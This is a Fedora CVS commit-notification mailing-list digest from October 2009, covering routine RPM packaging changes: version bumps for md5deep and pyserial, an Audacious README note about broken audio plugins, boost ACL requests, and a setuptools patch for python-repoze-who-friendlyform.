Date: Sun, 18 Oct 2009 14:52:18 +0000 (UTC)
Subject: rpms/audacious/devel README,1.1,1.2
Message-ID: <20091018145219.04C7811C00E8@cvs1.fedora.phx.redhat.com>

Author: mschwendt

Update of /cvs/pkgs/rpms/audacious/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29629

Modified Files:
	README 
Log Message:
2.2-alpha2 is broken beyond audio output plugin issues


Index: README
===================================================================
RCS file: /cvs/pkgs/rpms/audacious/devel/README,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- README	21 Sep 2009 10:26:44 -0000	1.1
+++ README	18 Oct 2009 14:52:18 -0000	1.2
@@ -1,3 +1,13 @@
+Audacious 2.2-alpha2 defaults to alsa-ng output plugin, which fails
+to work with PulseAudio (F-11). Switching to the only other choice, the
+experimental alsa-gapless plugin, doesn't work either. There is no
+pulseaudio plugin anymore.
+
+$ md5sum audacious-2.2-alpha2.tgz 
+c922d26dc5c746a1bacfef9149b5e4af  audacious-2.2-alpha2.tgz
+
+[...]
+
 $ md5sum audacious-2.2-alpha1.tgz 
 e5f0f4c69e9dc95d5882ea35feefea96  audacious-2.2-alpha1.tgz
 



From stingray at fedoraproject.org  Sun Oct 18 15:14:25 2009
From: stingray at fedoraproject.org (Paul P Komkoff Jr)
Date: Sun, 18 Oct 2009 15:14:25 +0000 (UTC)
Subject: rpms/md5deep/devel .cvsignore, 1.2, 1.3 md5deep.spec, 1.3,
	1.4 sources, 1.2, 1.3
Message-ID: <20091018151425.689F611C00E8@cvs1.fedora.phx.redhat.com>

Author: stingray

Update of /cvs/extras/rpms/md5deep/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2069

Modified Files:
	.cvsignore md5deep.spec sources 
Log Message:
md5deep-3.4-1


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/md5deep/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	5 Aug 2008 20:28:20 -0000	1.2
+++ .cvsignore	18 Oct 2009 15:14:23 -0000	1.3
@@ -1 +1 @@
-md5deep-3.1.tar.gz
+md5deep-3.4.tar.gz


Index: md5deep.spec
===================================================================
RCS file: /cvs/extras/rpms/md5deep/devel/md5deep.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- md5deep.spec	25 Jul 2009 11:56:06 -0000	1.3
+++ md5deep.spec	18 Oct 2009 15:14:23 -0000	1.4
@@ -1,6 +1,6 @@
 Name:           md5deep
-Version:        3.1
-Release:        3%{?dist}
+Version:        3.4
+Release:        1%{?dist}
 Summary:        A set of cross-platform tools to compute hashes
 Group:          Applications/File
 License:        GPLv2
@@ -38,6 +38,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man1/*
 
 %changelog
+* Sun Oct 18 2009 Paul P. Komkoff Jr <i at stingr.net> - 3.4-1
+- new upstream version
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 3.1-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/md5deep/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	5 Aug 2008 20:28:20 -0000	1.2
+++ sources	18 Oct 2009 15:14:23 -0000	1.3
@@ -1 +1 @@
-e040566200cb282e7948ed9f5f0adff3  md5deep-3.1.tar.gz
+3588d129a00e7103d4f829a1b4e68a0d  md5deep-3.4.tar.gz



From stingray at fedoraproject.org  Sun Oct 18 15:20:52 2009
From: stingray at fedoraproject.org (Paul P Komkoff Jr)
Date: Sun, 18 Oct 2009 15:20:52 +0000 (UTC)
Subject: rpms/md5deep/F-10 .cvsignore, 1.2, 1.3 md5deep.spec, 1.1,
	1.2 sources, 1.2, 1.3
Message-ID: <20091018152052.4706A11C02A4@cvs1.fedora.phx.redhat.com>

Author: stingray

Update of /cvs/extras/rpms/md5deep/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3137/F-10

Modified Files:
	.cvsignore md5deep.spec sources 
Log Message:
md5deep-3.4-1


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/md5deep/F-10/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	5 Aug 2008 20:28:20 -0000	1.2
+++ .cvsignore	18 Oct 2009 15:20:51 -0000	1.3
@@ -1 +1 @@
-md5deep-3.1.tar.gz
+md5deep-3.4.tar.gz


Index: md5deep.spec
===================================================================
RCS file: /cvs/extras/rpms/md5deep/F-10/md5deep.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- md5deep.spec	5 Aug 2008 20:28:20 -0000	1.1
+++ md5deep.spec	18 Oct 2009 15:20:51 -0000	1.2
@@ -1,5 +1,5 @@
 Name:           md5deep
-Version:        3.1
+Version:        3.4
 Release:        1%{?dist}
 Summary:        A set of cross-platform tools to compute hashes
 Group:          Applications/File
@@ -38,6 +38,15 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man1/*
 
 %changelog
+* Sun Oct 18 2009 Paul P. Komkoff Jr <i at stingr.net> - 3.4-1
+- new upstream version
+
+* Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 3.1-3
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Wed Feb 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 3.1-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
+
 * Fri Aug  1 2008 Paul P. Komkoff Jr <i at stingr.net> - 3.1-1
 - new upstream version
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/md5deep/F-10/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	5 Aug 2008 20:28:20 -0000	1.2
+++ sources	18 Oct 2009 15:20:51 -0000	1.3
@@ -1 +1 @@
-e040566200cb282e7948ed9f5f0adff3  md5deep-3.1.tar.gz
+3588d129a00e7103d4f829a1b4e68a0d  md5deep-3.4.tar.gz



From stingray at fedoraproject.org  Sun Oct 18 15:20:52 2009
From: stingray at fedoraproject.org (Paul P Komkoff Jr)
Date: Sun, 18 Oct 2009 15:20:52 +0000 (UTC)
Subject: rpms/md5deep/F-11 .cvsignore, 1.2, 1.3 md5deep.spec, 1.2,
	1.3 sources, 1.2, 1.3
Message-ID: <20091018152052.76ADC11C043A@cvs1.fedora.phx.redhat.com>

Author: stingray

Update of /cvs/extras/rpms/md5deep/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3137/F-11

Modified Files:
	.cvsignore md5deep.spec sources 
Log Message:
md5deep-3.4-1


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/md5deep/F-11/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	5 Aug 2008 20:28:20 -0000	1.2
+++ .cvsignore	18 Oct 2009 15:20:52 -0000	1.3
@@ -1 +1 @@
-md5deep-3.1.tar.gz
+md5deep-3.4.tar.gz


Index: md5deep.spec
===================================================================
RCS file: /cvs/extras/rpms/md5deep/F-11/md5deep.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- md5deep.spec	26 Feb 2009 00:02:54 -0000	1.2
+++ md5deep.spec	18 Oct 2009 15:20:52 -0000	1.3
@@ -1,6 +1,6 @@
 Name:           md5deep
-Version:        3.1
-Release:        2%{?dist}
+Version:        3.4
+Release:        1%{?dist}
 Summary:        A set of cross-platform tools to compute hashes
 Group:          Applications/File
 License:        GPLv2
@@ -38,6 +38,12 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man1/*
 
 %changelog
+* Sun Oct 18 2009 Paul P. Komkoff Jr <i at stingr.net> - 3.4-1
+- new upstream version
+
+* Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 3.1-3
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Wed Feb 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 3.1-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/md5deep/F-11/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	5 Aug 2008 20:28:20 -0000	1.2
+++ sources	18 Oct 2009 15:20:52 -0000	1.3
@@ -1 +1 @@
-e040566200cb282e7948ed9f5f0adff3  md5deep-3.1.tar.gz
+3588d129a00e7103d4f829a1b4e68a0d  md5deep-3.4.tar.gz



From stingray at fedoraproject.org  Sun Oct 18 15:20:52 2009
From: stingray at fedoraproject.org (Paul P Komkoff Jr)
Date: Sun, 18 Oct 2009 15:20:52 +0000 (UTC)
Subject: rpms/md5deep/F-12 .cvsignore, 1.2, 1.3 md5deep.spec, 1.3,
	1.4 sources, 1.2, 1.3
Message-ID: <20091018152052.D874411C02A4@cvs1.fedora.phx.redhat.com>

Author: stingray

Update of /cvs/extras/rpms/md5deep/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3137/F-12

Modified Files:
	.cvsignore md5deep.spec sources 
Log Message:
md5deep-3.4-1


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/md5deep/F-12/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	5 Aug 2008 20:28:20 -0000	1.2
+++ .cvsignore	18 Oct 2009 15:20:52 -0000	1.3
@@ -1 +1 @@
-md5deep-3.1.tar.gz
+md5deep-3.4.tar.gz


Index: md5deep.spec
===================================================================
RCS file: /cvs/extras/rpms/md5deep/F-12/md5deep.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- md5deep.spec	25 Jul 2009 11:56:06 -0000	1.3
+++ md5deep.spec	18 Oct 2009 15:20:52 -0000	1.4
@@ -1,6 +1,6 @@
 Name:           md5deep
-Version:        3.1
-Release:        3%{?dist}
+Version:        3.4
+Release:        1%{?dist}
 Summary:        A set of cross-platform tools to compute hashes
 Group:          Applications/File
 License:        GPLv2
@@ -38,6 +38,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man1/*
 
 %changelog
+* Sun Oct 18 2009 Paul P. Komkoff Jr <i at stingr.net> - 3.4-1
+- new upstream version
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 3.1-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/md5deep/F-12/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	5 Aug 2008 20:28:20 -0000	1.2
+++ sources	18 Oct 2009 15:20:52 -0000	1.3
@@ -1 +1 @@
-e040566200cb282e7948ed9f5f0adff3  md5deep-3.1.tar.gz
+3588d129a00e7103d4f829a1b4e68a0d  md5deep-3.4.tar.gz



From pkgdb at fedoraproject.org  Sun Oct 18 15:49:23 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 18 Oct 2009 15:49:23 +0000
Subject: [pkgdb] boost: denisarnaud has requested watchcommits
Message-ID: <20091018154923.CC5C110F85A@bastion2.fedora.phx.redhat.com>

denisarnaud has requested the watchcommits acl on boost (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/boost



From pkgdb at fedoraproject.org  Sun Oct 18 15:49:30 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 18 Oct 2009 15:49:30 +0000
Subject: [pkgdb] boost: denisarnaud has requested commit
Message-ID: <20091018154930.DB93010F85F@bastion2.fedora.phx.redhat.com>

denisarnaud has requested the commit acl on boost (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/boost



From pkgdb at fedoraproject.org  Sun Oct 18 15:49:37 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 18 Oct 2009 15:49:37 +0000
Subject: [pkgdb] boost: denisarnaud has requested watchbugzilla
Message-ID: <20091018154937.A420810F87F@bastion2.fedora.phx.redhat.com>

denisarnaud has requested the watchbugzilla acl on boost (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/boost



From pkgdb at fedoraproject.org  Sun Oct 18 15:49:51 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 18 Oct 2009 15:49:51 +0000
Subject: [pkgdb] boost: denisarnaud has requested watchbugzilla
Message-ID: <20091018154951.CA77010F88F@bastion2.fedora.phx.redhat.com>

denisarnaud has requested the watchbugzilla acl on boost (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/boost



From pkgdb at fedoraproject.org  Sun Oct 18 15:49:51 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 18 Oct 2009 15:49:51 +0000
Subject: [pkgdb] boost: denisarnaud has requested watchcommits
Message-ID: <20091018154951.CEEAD10F86E@bastion2.fedora.phx.redhat.com>

denisarnaud has requested the watchcommits acl on boost (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/boost



From pkgdb at fedoraproject.org  Sun Oct 18 15:49:53 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 18 Oct 2009 15:49:53 +0000
Subject: [pkgdb] boost: denisarnaud has requested commit
Message-ID: <20091018154953.17C7A10F8AD@bastion2.fedora.phx.redhat.com>

denisarnaud has requested the commit acl on boost (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/boost



From pkgdb at fedoraproject.org  Sun Oct 18 15:49:59 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 18 Oct 2009 15:49:59 +0000
Subject: [pkgdb] boost: denisarnaud has requested watchbugzilla
Message-ID: <20091018154959.2960D10F85F@bastion2.fedora.phx.redhat.com>

denisarnaud has requested the watchbugzilla acl on boost (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/boost



From pkgdb at fedoraproject.org  Sun Oct 18 15:50:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 18 Oct 2009 15:50:00 +0000
Subject: [pkgdb] boost: denisarnaud has requested commit
Message-ID: <20091018155000.5675E10F88F@bastion2.fedora.phx.redhat.com>

denisarnaud has requested the commit acl on boost (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/boost



From pkgdb at fedoraproject.org  Sun Oct 18 15:50:04 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 18 Oct 2009 15:50:04 +0000
Subject: [pkgdb] boost: denisarnaud has requested watchcommits
Message-ID: <20091018155004.498C510F8B8@bastion2.fedora.phx.redhat.com>

denisarnaud has requested the watchcommits acl on boost (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/boost



From stingray at fedoraproject.org  Sun Oct 18 15:57:31 2009
From: stingray at fedoraproject.org (Paul P Komkoff Jr)
Date: Sun, 18 Oct 2009 15:57:31 +0000 (UTC)
Subject: rpms/pyserial/devel .cvsignore, 1.2, 1.3 pyserial.spec, 1.6,
	1.7 sources, 1.2, 1.3
Message-ID: <20091018155731.6811911C00E8@cvs1.fedora.phx.redhat.com>

Author: stingray

Update of /cvs/pkgs/rpms/pyserial/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10910

Modified Files:
	.cvsignore pyserial.spec sources 
Log Message:
pyserial-2.4-1


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/pyserial/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	12 Nov 2006 12:17:33 -0000	1.2
+++ .cvsignore	18 Oct 2009 15:57:30 -0000	1.3
@@ -1 +1 @@
-pyserial-2.2.zip
+pyserial-2.4.tar.gz


Index: pyserial.spec
===================================================================
RCS file: /cvs/pkgs/rpms/pyserial/devel/pyserial.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- pyserial.spec	26 Jul 2009 19:58:50 -0000	1.6
+++ pyserial.spec	18 Oct 2009 15:57:30 -0000	1.7
@@ -2,13 +2,13 @@
 
 Summary: Python serial port access library
 Name: pyserial
-Version: 2.2
-Release: 9%{?dist}
-Source0: http://easynews.dl.sourceforge.net/sourceforge/%{name}/%{name}-%{version}.zip
+Version: 2.4
+Release: 1%{?dist}
+Source0: http://easynews.dl.sourceforge.net/sourceforge/%{name}/%{name}-%{version}.tar.gz
 License: Python
 Group: Development/Libraries
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
-URL: http://pyserial.sourceforge.net/
+URL: http://pyserial.sourceforge.net
 BuildRequires: python-devel
 BuildArch: noarch
 
@@ -38,6 +38,9 @@ rm -rf $RPM_BUILD_ROOT
 %{python_sitelib}/*
 
 %changelog
+* Sun Oct 18 2009 Paul P Komkoff Jr <i at stingr.net> - 2.4-1
+- new upstream version
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.2-9
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/pyserial/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	12 Nov 2006 12:17:33 -0000	1.2
+++ sources	18 Oct 2009 15:57:30 -0000	1.3
@@ -1 +1 @@
-14e774b7b6e5aa52820f0590d3b8c4d9  pyserial-2.2.zip
+eec19df59fd75ba5a136992897f8e468  pyserial-2.4.tar.gz



From stingray at fedoraproject.org  Sun Oct 18 16:16:02 2009
From: stingray at fedoraproject.org (Paul P Komkoff Jr)
Date: Sun, 18 Oct 2009 16:16:02 +0000 (UTC)
Subject: rpms/pyserial/F-10 .cvsignore, 1.2, 1.3 pyserial.spec, 1.3,
	1.4 sources, 1.2, 1.3
Message-ID: <20091018161602.870ED11C00E8@cvs1.fedora.phx.redhat.com>

Author: stingray

Update of /cvs/pkgs/rpms/pyserial/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14556/F-10

Modified Files:
	.cvsignore pyserial.spec sources 
Log Message:
pyserial-2.4-1


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/pyserial/F-10/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	12 Nov 2006 12:17:33 -0000	1.2
+++ .cvsignore	18 Oct 2009 16:16:02 -0000	1.3
@@ -1 +1 @@
-pyserial-2.2.zip
+pyserial-2.4.tar.gz


Index: pyserial.spec
===================================================================
RCS file: /cvs/pkgs/rpms/pyserial/F-10/pyserial.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- pyserial.spec	29 Aug 2008 21:37:54 -0000	1.3
+++ pyserial.spec	18 Oct 2009 16:16:02 -0000	1.4
@@ -2,13 +2,13 @@
 
 Summary: Python serial port access library
 Name: pyserial
-Version: 2.2
-Release: 6%{?dist}
-Source0: http://easynews.dl.sourceforge.net/sourceforge/%{name}/%{name}-%{version}.zip
+Version: 2.4
+Release: 1%{?dist}
+Source0: http://easynews.dl.sourceforge.net/sourceforge/%{name}/%{name}-%{version}.tar.gz
 License: Python
 Group: Development/Libraries
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
-URL: http://pyserial.sourceforge.net/
+URL: http://pyserial.sourceforge.net
 BuildRequires: python-devel
 BuildArch: noarch
 
@@ -38,6 +38,18 @@ rm -rf $RPM_BUILD_ROOT
 %{python_sitelib}/*
 
 %changelog
+* Sun Oct 18 2009 Paul P Komkoff Jr <i at stingr.net> - 2.4-1
+- new upstream version
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.2-9
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Thu Feb 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.2-8
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
+
+* Sat Nov 29 2008 Ignacio Vazquez-Abrams <ivazqueznet+rpm at gmail.com> - 2.2-7
+- Rebuild for Python 2.6
+
 * Fri Aug 29 2008 Tom "spot" Callaway <tcallawa at redhat.com> - 2.2-6
 - fix license tag
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/pyserial/F-10/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	12 Nov 2006 12:17:33 -0000	1.2
+++ sources	18 Oct 2009 16:16:02 -0000	1.3
@@ -1 +1 @@
-14e774b7b6e5aa52820f0590d3b8c4d9  pyserial-2.2.zip
+eec19df59fd75ba5a136992897f8e468  pyserial-2.4.tar.gz



From stingray at fedoraproject.org  Sun Oct 18 16:16:03 2009
From: stingray at fedoraproject.org (Paul P Komkoff Jr)
Date: Sun, 18 Oct 2009 16:16:03 +0000 (UTC)
Subject: rpms/pyserial/F-11 .cvsignore, 1.2, 1.3 pyserial.spec, 1.5,
	1.6 sources, 1.2, 1.3
Message-ID: <20091018161603.1381911C00E8@cvs1.fedora.phx.redhat.com>

Author: stingray

Update of /cvs/pkgs/rpms/pyserial/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14556/F-11

Modified Files:
	.cvsignore pyserial.spec sources 
Log Message:
pyserial-2.4-1


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/pyserial/F-11/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	12 Nov 2006 12:17:33 -0000	1.2
+++ .cvsignore	18 Oct 2009 16:16:02 -0000	1.3
@@ -1 +1 @@
-pyserial-2.2.zip
+pyserial-2.4.tar.gz


Index: pyserial.spec
===================================================================
RCS file: /cvs/pkgs/rpms/pyserial/F-11/pyserial.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- pyserial.spec	26 Feb 2009 20:24:18 -0000	1.5
+++ pyserial.spec	18 Oct 2009 16:16:02 -0000	1.6
@@ -2,13 +2,13 @@
 
 Summary: Python serial port access library
 Name: pyserial
-Version: 2.2
-Release: 8%{?dist}
-Source0: http://easynews.dl.sourceforge.net/sourceforge/%{name}/%{name}-%{version}.zip
+Version: 2.4
+Release: 1%{?dist}
+Source0: http://easynews.dl.sourceforge.net/sourceforge/%{name}/%{name}-%{version}.tar.gz
 License: Python
 Group: Development/Libraries
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
-URL: http://pyserial.sourceforge.net/
+URL: http://pyserial.sourceforge.net
 BuildRequires: python-devel
 BuildArch: noarch
 
@@ -38,6 +38,12 @@ rm -rf $RPM_BUILD_ROOT
 %{python_sitelib}/*
 
 %changelog
+* Sun Oct 18 2009 Paul P Komkoff Jr <i at stingr.net> - 2.4-1
+- new upstream version
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.2-9
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Thu Feb 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.2-8
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/pyserial/F-11/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	12 Nov 2006 12:17:33 -0000	1.2
+++ sources	18 Oct 2009 16:16:02 -0000	1.3
@@ -1 +1 @@
-14e774b7b6e5aa52820f0590d3b8c4d9  pyserial-2.2.zip
+eec19df59fd75ba5a136992897f8e468  pyserial-2.4.tar.gz



From stingray at fedoraproject.org  Sun Oct 18 16:16:03 2009
From: stingray at fedoraproject.org (Paul P Komkoff Jr)
Date: Sun, 18 Oct 2009 16:16:03 +0000 (UTC)
Subject: rpms/pyserial/F-12 .cvsignore, 1.2, 1.3 pyserial.spec, 1.6,
	1.7 sources, 1.2, 1.3
Message-ID: <20091018161603.7F6E211C00E8@cvs1.fedora.phx.redhat.com>

Author: stingray

Update of /cvs/pkgs/rpms/pyserial/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14556/F-12

Modified Files:
	.cvsignore pyserial.spec sources 
Log Message:
pyserial-2.4-1


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/pyserial/F-12/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	12 Nov 2006 12:17:33 -0000	1.2
+++ .cvsignore	18 Oct 2009 16:16:03 -0000	1.3
@@ -1 +1 @@
-pyserial-2.2.zip
+pyserial-2.4.tar.gz


Index: pyserial.spec
===================================================================
RCS file: /cvs/pkgs/rpms/pyserial/F-12/pyserial.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- pyserial.spec	26 Jul 2009 19:58:50 -0000	1.6
+++ pyserial.spec	18 Oct 2009 16:16:03 -0000	1.7
@@ -2,13 +2,13 @@
 
 Summary: Python serial port access library
 Name: pyserial
-Version: 2.2
-Release: 9%{?dist}
-Source0: http://easynews.dl.sourceforge.net/sourceforge/%{name}/%{name}-%{version}.zip
+Version: 2.4
+Release: 1%{?dist}
+Source0: http://easynews.dl.sourceforge.net/sourceforge/%{name}/%{name}-%{version}.tar.gz
 License: Python
 Group: Development/Libraries
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
-URL: http://pyserial.sourceforge.net/
+URL: http://pyserial.sourceforge.net
 BuildRequires: python-devel
 BuildArch: noarch
 
@@ -38,6 +38,9 @@ rm -rf $RPM_BUILD_ROOT
 %{python_sitelib}/*
 
 %changelog
+* Sun Oct 18 2009 Paul P Komkoff Jr <i at stingr.net> - 2.4-1
+- new upstream version
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.2-9
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/pyserial/F-12/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	12 Nov 2006 12:17:33 -0000	1.2
+++ sources	18 Oct 2009 16:16:03 -0000	1.3
@@ -1 +1 @@
-14e774b7b6e5aa52820f0590d3b8c4d9  pyserial-2.2.zip
+eec19df59fd75ba5a136992897f8e468  pyserial-2.4.tar.gz



From lmacken at fedoraproject.org  Sun Oct 18 16:22:24 2009
From: lmacken at fedoraproject.org (Luke Macken)
Date: Sun, 18 Oct 2009 16:22:24 +0000 (UTC)
Subject: rpms/python-repoze-who-friendlyform/EL-5
	python-repoze-who-friendlyform-setuptools.patch, NONE,
	1.1 python-repoze-who-friendlyform.spec, 1.1, 1.2
Message-ID: <20091018162224.5BA3B11C00E8@cvs1.fedora.phx.redhat.com>

Author: lmacken

Update of /cvs/pkgs/rpms/python-repoze-who-friendlyform/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15502

Modified Files:
	python-repoze-who-friendlyform.spec 
Added Files:
	python-repoze-who-friendlyform-setuptools.patch 
Log Message:
Apply a patch to ensure that we use our version of setuptools

python-repoze-who-friendlyform-setuptools.patch:
 setup.py |    2 --
 1 file changed, 2 deletions(-)

--- NEW FILE python-repoze-who-friendlyform-setuptools.patch ---
--- setup.py.orig	2009-06-05 13:06:15.000000000 -0400
+++ setup.py	2009-06-05 13:06:19.000000000 -0400
@@ -15,8 +15,6 @@
 
 import os
 
-from ez_setup import use_setuptools
-use_setuptools()
 from setuptools import setup, find_packages
 
 here = os.path.abspath(os.path.dirname(__file__))


Index: python-repoze-who-friendlyform.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-repoze-who-friendlyform/EL-5/python-repoze-who-friendlyform.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- python-repoze-who-friendlyform.spec	27 May 2009 15:22:55 -0000	1.1
+++ python-repoze-who-friendlyform.spec	18 Oct 2009 16:22:24 -0000	1.2
@@ -3,12 +3,13 @@
 
 Name:		python-repoze-who-friendlyform
 Version:	1.0
-Release:	0.1.%{betaver}%{?dist}
+Release:	0.2.%{betaver}%{?dist}
 Summary:	Collection of repoze.who friendly form plugins
 Group:		Development/Languages
 License:	BSD
 URL:		http://code.gustavonarea.net/repoze.who-friendlyform/
 Source0:	http://pypi.python.org/packages/source/r/repoze.who-friendlyform/repoze.who-friendlyform-%{version}%{betaver}.tar.gz
+Patch0:     %{name}-setuptools.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch:	noarch
 BuildRequires:	python-devel, python-setuptools-devel
@@ -23,6 +24,7 @@ developer-friendly form plugins.
 
 %prep
 %setup -q -n repoze.who-friendlyform-%{version}%{betaver}
+%patch0 -p0 -b .setuptools
 
 %build
 %{__python} setup.py build
@@ -33,7 +35,7 @@ rm -rf %{buildroot}
 
 %check
 # Tests fail?
-# PYTHONPATH=$(pwd) nosetests
+#PYTHONPATH=$(pwd) nosetests
 
 %clean
 rm -rf %{buildroot}
@@ -44,5 +46,8 @@ rm -rf %{buildroot}
 %{python_sitelib}/*
 
 %changelog
